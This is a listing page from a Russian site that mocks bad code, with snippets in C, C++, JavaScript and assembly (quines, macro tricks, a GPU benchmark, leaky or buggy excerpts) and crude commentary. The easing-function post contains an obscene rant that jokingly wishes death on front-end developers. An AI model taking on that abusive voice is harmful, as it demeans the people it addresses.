7
-
Си / Говнокод #23225
+1
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
#define SPLICE(a,b) a##b #define LL(a,b) SPLICE(a,b) #define M(name) LL(NS,name) #define NS ns1_ void M(somefunction)(){ } #undef NS #define NS ns2_ void M(somefunction)(){ } #undef NS #define NS ns3_ void M(somefunction)(){ } #undef NSнеймспейсы в Си на препроцессоре
Комментарии (8) -
JavaScript / Говнокод #23219
+1
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
var effects = { linear: function(t) { return t; }, easeInQuad: function(t) { return t * t; }, easeOutQuad: function(t) { return -t * (t - 2); }, easeInOutQuad: function(t) { if ((t /= 0.5) < 1) { return 0.5 * t * t; } return -0.5 * ((--t) * (t - 2) - 1); }, easeInCubic: function(t) { return t * t * t; }, easeOutCubic: function(t) { return (t = t - 1) * t * t + 1; }, easeInOutCubic: function(t) { if ((t /= 0.5) < 1) { return 0.5 * t * t * t; } return 0.5 * ((t -= 2) * t * t + 2); }, easeInQuart: function(t) { return t * t * t * t; }, easeOutQuart: function(t) { return -((t = t - 1) * t * t * t - 1); }, easeInOutQuart: function(t) { if ((t /= 0.5) < 1) { return 0.5 * t * t * t * t; } return -0.5 * ((t -= 2) * t * t * t - 2); }, easeInQuint: function(t) { return t * t * t * t * t; }, easeOutQuint: function(t) { return (t = t - 1) * t * t * t * t + 1; }, easeInOutQuint: function(t) { if ((t /= 0.5) < 1) { return 0.5 * t * t * t * t * t; } return 0.5 * ((t -= 2) * t * t * t * t + 2); }, easeInSine: function(t) { return -Math.cos(t * (Math.PI / 2)) + 1; }, easeOutSine: function(t) { return Math.sin(t * (Math.PI / 2)); }, easeInOutSine: function(t) { return -0.5 * (Math.cos(Math.PI * t) - 1); }, easeInExpo: function(t) { return (t === 0) ? 0 : Math.pow(2, 10 * (t - 1)); }, easeOutExpo: function(t) { return (t === 1) ? 1 : -Math.pow(2, -10 * t) + 1; }, easeInOutExpo: function(t) { if (t === 0) { return 0; } if (t === 1) { return 1; } if ((t /= 0.5) < 1) { return 0.5 * Math.pow(2, 10 * (t - 1)); } return 0.5 * (-Math.pow(2, -10 * --t) + 2); }, .../**
* Easing functions adapted from Robert Penner's easing equations.
* @namespace Chart.helpers.easingEffects
* @see http://www.robertpenner.com/easing/
*/
В общем это такая специальная параша, чтобы делать гладкую анимацию какой-то х****. Вопрос - на***а вообще нужна эта гладкая анимация, и почему эту х***ю не реализуют как набор неких встроенных в браузер функций чтобы их из этого жабаскрипта вызывать, чтобы эта хрень не тормозила? Меня б**** з****** эти ё***** сайты, обвешанные какой-то б******* х***** на жабаскрипте которая прыгает по всему экрану, кому вообще пришла в голову идея сделать подобную хрень? Поубивал бы этих е***** фронтендщиков с их х****й
http://easings.net/ru вот еще про эту хуиту.Комментарии (13) -
Си / Говнокод #23213
+1
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
#include <stdio.h> #include <stdlib.h> #include <inttypes.h> #include <string.h> #include <stddef.h> #define INITARR(arr,...) \ do \ { \ typedef struct {typeof(*arr) __tmp_arr[sizeof( (typeof(*arr)[]){__VA_ARGS__} ) / sizeof(*arr)];} __tmp_str; \ *((__tmp_str *)arr) = (__tmp_str){{__VA_ARGS__}}; \ } while(0) int main(void) { uint8_t *test; test = malloc (sizeof (uint8_t[10])); INITARR(test,1,2,3,4,5,6,7,8,9,10); for (size_t i = 0; i < 10; i++) { printf("%" PRIu8 ", ", test[i]); } return 0; }Для удобной инициализации массивов в хипе
Комментарии (6) -
Си / Говнокод #23211
−1
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
Сишечные строки для printf-подобной параши из прошивки ESP8266 (для веб-сервера): .... method="POST">Login: <INPUT size=10 NAME='login' value="%s"> Password: <INPUT size=10 NAME='pass' value="%s"></td></tr><br><INPUT TYPE='checkbox' NAME='fls'%s> Full Security. <input type="hidden" name="st" value=5><br>%s <hr><b>Config module:</b><br><div class="spH2"></div><form method="GET">Host name: <INPUT size=12 NAME='hn' value="%s"> <input type="hidden" name="st" value=7><br>%s <hr><b>WiFi options:</b><br><div class="spH2"></div><form method="GET"><input type="radio" name="sm" value="0" %s>Station mode.<input type="radio" name="sm" value="7" %s>AP mode.<br>AP name: <input size=20 name="stname" value="%s"> <br>AP pass: <input size=20 type='password' name="stpass" value="%s"><br> <!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>%s</title><meta http-equiv="REFRESH" content="60"><meta name="viewport" content="width=480" /><meta name="mobile-web-app-capable" content="yes" /><link rel="stylesheet" href="main.css"></head><body><br><div style="text-align: center"><div style="display: inline-block"><div class="name fll">%s<div class="www">MaksMS <a href="http://wifi-iot.com" target="_blank">wifi-iot.com</a><br>... и никакого пхп
http://wifi-iot.com/ вот тут можно генерировать такие говнопрошивкиКомментарии (4) -
Си / Говнокод #23188
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
char*a??(??)=??< "??=include", "??=include", "??=define o stdout", "??=define b break;case", "??=define s(p)fputs(p,o);", "??=define c(p)fputc(p,o);", "void t(p,f)char*p;????/")b'??(':s(??/"???/??/?(??/")b'??)'", ":s(??/"???/??/?)??/")b'??/??/??/??/':f&&s(??/"???/??/?/??/")", "s(??/"???/??/?/??/")b'??/??/n':if(f)s(??/"???/??/?/n??/")", "else case'??/"':if(f)s(??/"???/??/?/??/??/??/"??/")", "else default:c(*p)??>??>??>main()??;??/",0);for(p=a", ";*p;p++)t(*p,0);exit(!ferror(o)&&", "!fclose(o)?EXIT_SUCCESS", ":EXIT_FAILURE);", "/*NOTREACHED*/", "??>", 0??>; ??=include ??=include ??=define o stdout ??=define b break;case ??=define s(p)fputs(p,o); ??=define c(p)fputc(p,o); void t(p,f)char*p;??':s("???/?>")b'??(':s("???/?(")b'??)' :s("???/?)")b'??/??/':f&&s("???/?/") s("???/?/")b'??/n':if(f)s("???/?/n") else case'"':if(f)s("???/?/??/"") else default:c(*p)??>??>??>main()??;",0);for(p=a ;*p;p++)t(*p,0);exit(!ferror(o)&& !fclose(o)?EXIT_SUCCESS :EXIT_FAILURE); /*NOTREACHED*/ ??>Очередной куайн. Херня на триграфах. Взято отсюда
http://www.nyx.net/~gthompso/self_c.txt
Там разумеется есть намного более ебанутые вариантыКомментарии (0) -
Си / Говнокод #23187
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
#include <stdio.h> char s[]; int main () { printf ("%s", s); for (char *s_p = s; *s_p; s_p++ ) { printf ("%i,", *s_p); } printf ("};\n"); return 0; } char s[] = R"(#include <stdio.h> char s[]; int main () { printf ("%s", s); for (char *s_p = s; *s_p; s_p++ ) { printf ("%i,", *s_p); } printf ("};\n"); return 0; } char s[] = {)";https://wandbox.org/permlink/uOQ7Uk6uFt4WVS2Y
код на особом диалекте си (-std=gnu11) который генерирует код на более-менее обычном си (-std=c99) и этот сгенерированный код умеет будет генерировать сам себя
Основано на сраной параше под названием raw string literals http://govnokod.ru/23178#comment388392 которая оказывается что поддерживается в особом диалекте си (-std=gnu11) https://stackoverflow.com/a/24850262Комментарии (9) -
Си / Говнокод #23180
+2
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
#include <stdint.h> #include <stdio.h> char a[] = {35,105,110,99,108,117,100,101,32,60,115,116,100,105,110,116,46,104,62,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,10,99,104,97,114,32,97,91,93,32,61,32,123,0,125,59,10,10,105,110,116,32,109,97,105,110,40,118,111,105,100,41,10,123,10,32,32,105,110,116,32,98,59,10,32,32,98,32,61,32,112,114,105,110,116,102,40,34,37,115,34,44,32,97,41,59,10,32,32,102,111,114,32,40,99,104,97,114,32,42,105,32,61,32,97,59,32,105,32,60,32,97,32,43,32,115,105,122,101,111,102,40,97,41,59,32,105,43,43,41,10,32,32,123,10,32,32,32,32,112,114,105,110,116,102,40,34,37,105,44,34,44,32,42,105,41,59,10,32,32,125,10,32,32,112,114,105,110,116,102,40,34,37,115,34,44,32,97,43,98,43,49,41,59,10,32,32,114,101,116,117,114,110,32,48,59,10,125,10,}; int main(void) { int b; b = printf("%s", a); for (char *i = a; i < a + sizeof(a); i++) { printf("%i,", *i); } printf("%s", a+b+1); return 0; }куайн на сишечке
Комментарии (4) -
C++ / Говнокод #23178
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
#include <algorithm> #include <exception> #include <iostream> #include <memory> #include <string> #include <vector> #include <random> #include <chrono> #define __CL_ENABLE_EXCEPTIONS #include "cl.hpp" using namespace std::string_literals; int main(int argc, char * argv[]) { size_t data_len = (1024 * 1024 * strtoul(argv[1], nullptr, 10)) / sizeof(uint32_t), out_len = strtoul(argv[2], nullptr, 10), iter = strtoul(argv[3], nullptr, 10), block_size = strtoul(argv[4], nullptr, 10); std::string src = R"( typedef unsigned int uint32_t; __kernel void bench(global const uint32_t * data, global uint32_t * out) { uint32_t res = 0, id = get_global_id(0), next = id; for(uint32_t i = 0; i < )"s + std::to_string(iter) + R"(; ++i) { for(uint32_t j = 0; j < )" + std::to_string(block_size / sizeof(uint32_t)) + R"(; ++j) res ^= data[next + j]; next = data[next]; } out[id] = res; } )"s; cl::Program::Sources sources = {{src.data(), src.size()}}; std::vector<cl::Platform> platforms; cl::Platform::get(&platforms); std::vector<uint32_t> data(data_len); std::vector<uint32_t> out(out_len); std::generate(std::begin(data), std::end(data), [=,gen = std::mt19937{}]() mutable { return gen() % (data_len - (block_size / sizeof(uint32_t))); }); for(auto & platform : platforms) { std::cout << "Using platform: " << platform.getInfo<CL_PLATFORM_NAME>() << "\n"; std::vector<cl::Device> devices; platform.getDevices(CL_DEVICE_TYPE_GPU, &devices); for(auto & device : devices) { try { std::cout << "Using device: " << device.getInfo<CL_DEVICE_NAME>() << "\n"; cl::Context ctx({device}); cl::Program program(ctx, sources); program.build({device}); cl::Buffer data_buffer(ctx, CL_MEM_READ_WRITE, data.size() * sizeof(uint32_t)); cl::Buffer out_buffer(ctx, CL_MEM_READ_WRITE, out.size() * sizeof(uint32_t)); cl::CommandQueue queue(ctx, device); queue.enqueueWriteBuffer(data_buffer, CL_TRUE, 0, data.size() * sizeof(uint32_t), data.data()); cl::make_kernel<cl::Buffer &, cl::Buffer &> bench(program, "bench"); cl::EnqueueArgs eargs(queue,cl::NullRange,cl::NDRange(out.size()),cl::NullRange); auto start = std::chrono::high_resolution_clock::now(); bench(eargs, data_buffer, out_buffer).wait(); auto time = std::chrono::duration_cast<std::chrono::duration<double>>(std::chrono::high_resolution_clock::now() - start).count(); size_t ops = out_len * iter; size_t total_tp = ops * block_size; double miops = (ops / time) / (1000 * 1000); double tpgbps = (total_tp / time) / (1024 * 1024 * 1024); fprintf(stderr, "Result: %.2fMIOPS, %.2fGB/s, %.2fsec\n", miops, tpgbps, time); queue.enqueueReadBuffer(out_buffer, CL_TRUE, 0, out.size() * sizeof(uint32_t), out.data()); } catch(cl::Error e) { std::cout << e.what() << " : " << e.err() << std::endl; std::terminate(); } } } }Код Царя
https://www.linux.org.ru/forum/development/13489159
https://github.com/superhackkiller1997/gpu_mem_benchmark/blob/master/main.cppКомментарии (57) -
C++ / Говнокод #23170
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
int32 documentColorIndex(DocumentData *document, QString &ext) { int32 colorIndex = 0; QString name = document ? (document->name.isEmpty() ? (document->sticker() ? lang(lng_in_dlg_sticker) : qsl("Unknown File")) : document->name) : lang(lng_message_empty); name = name.toLower(); int32 lastDot = name.lastIndexOf('.'); QString mime = document ? document->mime.toLower() : QString(); if (name.endsWith(qstr(".doc")) || name.endsWith(qstr(".txt")) || name.endsWith(qstr(".psd")) || mime.startsWith(qstr("text/")) ) { colorIndex = 0; } else if ( name.endsWith(qstr(".xls")) || name.endsWith(qstr(".csv")) ) { colorIndex = 1; } else if ( name.endsWith(qstr(".pdf")) || name.endsWith(qstr(".ppt")) || name.endsWith(qstr(".key")) ) { colorIndex = 2; } else if ( name.endsWith(qstr(".zip")) || name.endsWith(qstr(".rar")) || name.endsWith(qstr(".ai")) || name.endsWith(qstr(".mp3")) || name.endsWith(qstr(".mov")) || name.endsWith(qstr(".avi")) ) { colorIndex = 3; } else { QChar ch = (lastDot >= 0 && lastDot + 1 < name.size()) ? name.at(lastDot + 1) : (name.isEmpty() ? (mime.isEmpty() ? '0' : mime.at(0)) : name.at(0)); colorIndex = (ch.unicode() % 4); } ext = document ? ((lastDot < 0 || lastDot + 2 > name.size()) ? name : name.mid(lastDot + 1)) : QString(); return colorIndex; }https://github.com/telegramdesktop/tdesktop/blob/5f5770dd46491133b135a71fc2d4f92d13107ade/Telegram/SourceFiles/layout.cpp#L170-L211
херь из исходниктв Telegram DesktopКомментарии (20) -
C++ / Говнокод #23161
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
#include <optional> namespace aim { template <typename T, template <typename> typename Cont> struct is_valid {}; template <typename T, template <typename> typename Cont> struct chain; template <typename T, template <typename> typename Cont> struct chain { using value_type_t = T; using holder_t = Cont<value_type_t>; chain() {} chain(holder_t&& value_) : value(std::move(value_)) {} template <typename Func> constexpr auto otherwise(Func&& func) { return chain<T, Cont>{std::move(func())}; } template <typename Func> constexpr auto with(Func&& func) -> chain<value_type_t, Cont> { if (bool(value)) { return chain<value_type_t, Cont>{Cont<value_type_t>{func(*value)}}; } else { return chain<value_type_t, Cont>{}; } } holder_t value; }; template <typename T, template <typename> typename Cont> chain(Cont<T>&&) -> chain<T, Cont>; template <typename T, template <typename> typename Cont> struct use { using value_type_t = T; using holder_t = Cont<value_type_t>; use(holder_t&& value) : value(std::move(value)) {} template <typename Func> constexpr auto with(Func&& func) -> chain<value_type_t, Cont> { if (is_valid<T, Cont>{}(value)) { return chain<value_type_t, Cont>{Cont<value_type_t>{func(*value)}}; } else { return chain<value_type_t, Cont>{}; } } holder_t value; }; template <typename T, template <typename> typename Cont> use(Cont<T>&&) -> use<T, Cont>; } namespace aim { template <typename T> struct is_valid<T, std::optional> { constexpr bool operator()(std::optional<T> const& value) { return bool(value); } }; } #include <iostream> #include <memory> int main() { { std::optional<int> a; aim::use(std::move(a)).with([](auto v) { std::cout << v << '\n'; return 1; }).otherwise([](){ std::cout << "it's none!\n"; return 2; }).with([](auto v){ std::cout << v << '\n'; return 3; }); } }говно
Комментарии (7)-
Си / Говнокод #23156
−1
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
static bool do_convert(iconv_t cd, const char * src, int src_len, char ** dst, int *dst_len) { char * ret; char *inbuf; char *outbuf; int alloc_size; int output_pos; size_t inbytesleft; size_t outbytesleft; if(src_len < 0) src_len = strlen(src); #if 0 fprintf(stderr, "Converting:\n"); bgav_hexdump(src, src_len, 16); #endif alloc_size = src_len + BYTES_INCREMENT; inbytesleft = src_len; /* We reserve space here to add a final '\0' */ outbytesleft = alloc_size-1; ret = malloc(alloc_size); inbuf = (char *)src; outbuf = ret; while(1) { if(iconv(cd, (ICONV_CONST char **)&inbuf, &inbytesleft, &outbuf, &outbytesleft) == (size_t)-1) { switch(errno) { case E2BIG: output_pos = (int)(outbuf - ret); alloc_size += BYTES_INCREMENT; outbytesleft += BYTES_INCREMENT; ret = realloc(ret, alloc_size); if (ret == NULL) { cdio_warn("Can't realloc(%d).", alloc_size); return false; } outbuf = ret + output_pos; break; default: cdio_warn("Iconv failed: %s", strerror(errno)); if (ret != NULL) free(ret); return false; break; } } if(!inbytesleft) break; } /* Zero terminate */ *outbuf = '\0'; /* Set return values */ *dst = ret; if(dst_len) *dst_len = (int)(outbuf - ret); #if 0 fprintf(stderr, "Conversion done, src:\n"); bgav_hexdump(src, src_len, 16); fprintf(stderr, "dst:\n"); bgav_hexdump((uint8_t*)(ret), (int)(outbuf - ret), 16); #endif return true; }https://github.com/pbatard/rufus/blob/edcfd43ed550b17f23f9534f4b3b5cdd7fffdefc/src/libcdio/driver/utf8.c#L170-L248
А вы тут видите тут баг?Комментарии (16) -
Си / Говнокод #23155
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
void SetTitleBarIcon(HWND hDlg) { int i16, s16, s32; HICON hSmallIcon, hBigIcon; // High DPI scaling i16 = GetSystemMetrics(SM_CXSMICON); // Adjust icon size lookup s16 = i16; s32 = (int)(32.0f*fScale); if (s16 >= 54) s16 = 64; else if (s16 >= 40) s16 = 48; else if (s16 >= 28) s16 = 32; else if (s16 >= 20) s16 = 24; if (s32 >= 54) s32 = 64; else if (s32 >= 40) s32 = 48; else if (s32 >= 28) s32 = 32; else if (s32 >= 20) s32 = 24; // Create the title bar icon hSmallIcon = (HICON)LoadImage(hMainInstance, MAKEINTRESOURCE(IDI_ICON), IMAGE_ICON, s16, s16, 0); SendMessage (hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hSmallIcon); hBigIcon = (HICON)LoadImage(hMainInstance, MAKEINTRESOURCE(IDI_ICON), IMAGE_ICON, s32, s32, 0); SendMessage (hDlg, WM_SETICON, ICON_BIG, (LPARAM)hBigIcon); }https://github.com/pbatard/rufus/blob/92d046e663811fd922262f1f347ad2ebe8e09b97/src/stdlg.c#L1607-L1639Комментарии (4) -
Си / Говнокод #23143
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
#include <stdio.h>; void check(int x, int y) { if (2*x == y && y < 0 && 0 <= 2*x) { puts("Impossible!"); } } int main() { check(0x7F80007F, 0xFF0000FE); }https://runtimeverification.com/blog/?p=257
When writing code for a specific compiler you can rely on the implementation-specified behavior, but signed overflow is still problematic. GCC promises that conversions between integer types will be reduced modulo the appropriate power of two when the value is not representable in the target type. This means that with GCC the conversion above will initialize var to -0x112234 on any architecture that GCC supports. However, only initialization and other conversions are safe. GCC still considers signed overflow in arithmetic as undefined behavior, and optimizes under the assumption that there will be no overflow. This can lead to apparently impossible results when signed values do overflow. Compiled with -O3, this program prints “Impossible!”.
By adding apparently-redundant casts to 2*x to give (int)(2*(unsigned int)x), the calculation becomes implementation-specified behavior from an out-of-range conversion instead of undefined behavior. While this code may not be portable between compilers, GCC now guarantees the “impossible” code will not be executed even with -O3.Комментарии (2) -
JavaScript / Говнокод #23111
+1
- 1
- 2
var x = '$$>1 ? eval(x.replace(/\\$\\$/g, $$-1)) + eval(x.replace(/\\$\\$/g, $$-2)) : 1'; eval(x.replace(/\$\$/g, 5))Yo dawg, I heard you like evaluation. So I put evaluation in your evaluation so you could evaluate while you evaluate
Фибоначчи, по мотивам http://govnokod.ru/20105#comment330201 хуйниКомментарии (13) -
Си / Говнокод #23080
+2
- 1
- 2
- 3
for(i==1;i<=1000;i++) https://youtu.be/Tzl0ELY_TiM?t=89И эти люди хотят кого-то учить программированию?
Комментарии (69) -
Си / Говнокод #23073
+2
- 1
- 2
- 3
- 4
- 5
- 6
for(uint64_t i = 0ULL; i <= 999999999ULL; i+= 1) { long double a = 0.00005l * i; // это чтоб в плавучке не накапливались ошибки. somefunction(a); .... }Комментарии (10) -
PHP / Говнокод #23051
0
- 1
https://web.archive.org/web/20070125181458/http://2ch.ru/s/src/1158095011998.gifКомментарии (0) -
Assembler / Говнокод #23014
0
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
#define SPLICE(a,b) SPLICE_1(a,b) #define SPLICE_1(a,b) SPLICE_2(a,b) #define SPLICE_2(a,b) a##b #define LL(a,b) SPLICE_2(a,b) #define L(a) LL(a,LOC) #define LOC sub1 .func sub1 sub1: ljmp L(L1) L(L1): nop .endfunc #define LOC sub2 .func sub2 sub2: ljmp L(L1) L(L1): nop .endfuncКогда захотел сделать local labels в ассемблере через сишный препроцессор
Комментарии (54) -
Си / Говнокод #22876
−33
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
#include <http://govnokod.ru/21585> // assembly output for f1_signed and f2_signed on GCC 7,6,5 ... versions are same signed char f1_signed(signed char a1, signed char a2, signed char a3) { return MAXS(a1,a2,a3,a1,a2,a3); } signed char f2_signed(signed char a1, signed char a2, signed char a3) { return MAXS(a1,a2,a3); } // assembly output for f1_unsigned and f2_unsigned on GCC 7,6,5 ... versions are differend // GCC compiler can't do same simplification for unsigned function // This function produces much more assembler code than second unsigned char f1_unsigned(unsigned char a1, unsigned char a2, unsigned char a3) { return MAXS(a1,a2,a3,a1,a2,a3); } unsigned char f2_unsigned(unsigned char a1, unsigned char a2, unsigned char a3) { return MAXS(a1,a2,a3); }https://gcc.gnu.org/bugzilla/show_bug.cgi?id=80574
Очередной мой багрепорт в GCC. Компилятор GCC может заоптимизировать повторяющуйся в MAXS хрень для signed char, но не может для unsigned
А вот Clang не может заоптимизировать ни то, ни другое. https://godbolt.org/g/7Kt9X0Комментарии (100) -
Си / Говнокод #22875
−11
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
void *memcpy(void *__dest, __const void *__src, size_t __n) { int i = 0; unsigned char *d = (unsigned char *)__dest, *s = (unsigned char *)__src; for (i = __n >> 3; i > 0; i--) { *d++ = *s++; *d++ = *s++; *d++ = *s++; *d++ = *s++; *d++ = *s++; *d++ = *s++; *d++ = *s++; *d++ = *s++; } if (__n & 1 << 2) { *d++ = *s++; *d++ = *s++; *d++ = *s++; *d++ = *s++; } if (__n & 1 << 1) { *d++ = *s++; *d++ = *s++; } if (__n & 1) *d++ = *s++; return __dest; }Царский анролл в memcpy, прямиком из ядра Linux
http://lxr.free-electrons.com/source/arch/arm/boot/compressed/string.cКомментарии (41)
-
JavaScript / Говнокод #22860
−11
- 1
https://habrahabr.ru/post/322052/Лямбда-исчисление на JavaScript
Комментарии (21) -
Си / Говнокод #22854
−16
- 1
https://foxford.ru/wiki/informatika/tipy-tselyh-chisel-yazyka-sВот такая хуйня получается, когда учебные материалы по Си пишут те, которые сами нихуя не знают Си и не читали Священный Драфт Стандарта. Сколько хуйни по ссылке вы можете найти?
spoiler: https://habrahabr.ru/post/156593/Комментарии (31) -
C++ / Говнокод #22815
−11
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
#if HAVE(MERGESORT) if (isSortingPrimitiveValues) qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort); else mergesort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort); #else // FIXME: The qsort library function is likely to not be a stable sort. // ECMAScript-262 does not specify a stable sort, but in practice, browsers perform a stable sort. qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort); #endifИз какой-то древней версии Webkit. Про устойчивость сортировки. Ну типа вот хоть в ECMAScript-262 нихрена не написано про то, что сортировка должна быть устойчивой, мы сделаем ее устойчивой потому что так принято (а то сломаем еще ненароком чей-то говнокод на JS)
вот еще
https://bugs.chromium.org/p/v8/issues/detail?id=90
https://habrahabr.ru/post/303748/Комментарии (15) -
Си / Говнокод #22794
−50
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
#include <stdio.h> void *labels[3]; void test(void *ptr) { if(ptr == NULL) { labels[0] = &&l1; labels[1] = &&l2; labels[2] = &&l3; return; } goto *ptr; l1: printf("test1\n"); return; l2: printf("test2\n"); return; l3: printf("test3\n"); return; } int main(void) { test(NULL); test(labels[0]); test(labels[1]); test(labels[2]); }Вот если б можно было делать метки указателей внутри функций видимыми извне, такой фигни б не было
Комментарии (84) -
C++ / Говнокод #22769
−14
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
#include "string.hpp" #include "execute.hpp" #include <iostream> using code = decltype( "push ebx " "pop eax " "exit"_s); constexpr auto ret_val = cai::execute_code<code>; int main() { std::cout << std::hex << ret_val; return 0; }cai::execute_code will parse, tokenize, execute code and return value from eax register. Startup ebx value is 0xbada55. Above program will push ebx to stack and pop from stack to eax. So eax will eventually contain 0xbada55.
https://github.com/stryku/ctai compile time assembly interpreterКомментарии (25) -
C++ / Говнокод #22714
−16
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
void subBytes(uint8_t* block, size_t count) { for (int i = 0; i < count; i++) { size_t x, y; char *temp = new char[2]; sprintf(temp, "%02x", block[i]); temp = new char[4]{ temp[0], 0x00, temp[1], 0x00 }; x = stoi(temp, 0, 16); y = stoi(temp + 2, 0, 16); block[i] = sBox[x][y]; delete[] temp; } } void invSubBytes(uint8_t* block, size_t count) { for (int i = 0; i < count; i += 1) { size_t x, y; char *temp = new char[4]; sprintf(temp, "%02x", block[i]); temp = new char[4]{ temp[0], 0x00, temp[1], 0x00 }; x = stoi(temp, 0, 16); y = stoi(temp + 2, 0, 16); block[i] = invSbox[x][y]; delete[] temp; } }https://github.com/VenkuSkirata/MyAES/blob/5f9161551f1a743c7ca6b0ebdf492904cc097d8d/AES.cpp#L123-L147
Тут один человек просил покритиковать его код, нувыпонелиКомментарии (27) -
C++ / Говнокод #22687
−124
- 1
- 2
Открытая встреча Национальной рабочей группы по стандартизации C++. https://youtu.be/FcCymlVAtP8?t=3622Я тут вам немного ПОКУШАТЬ ПРИНЕС
Они там с этими constespr похоже окончательно двинулись.
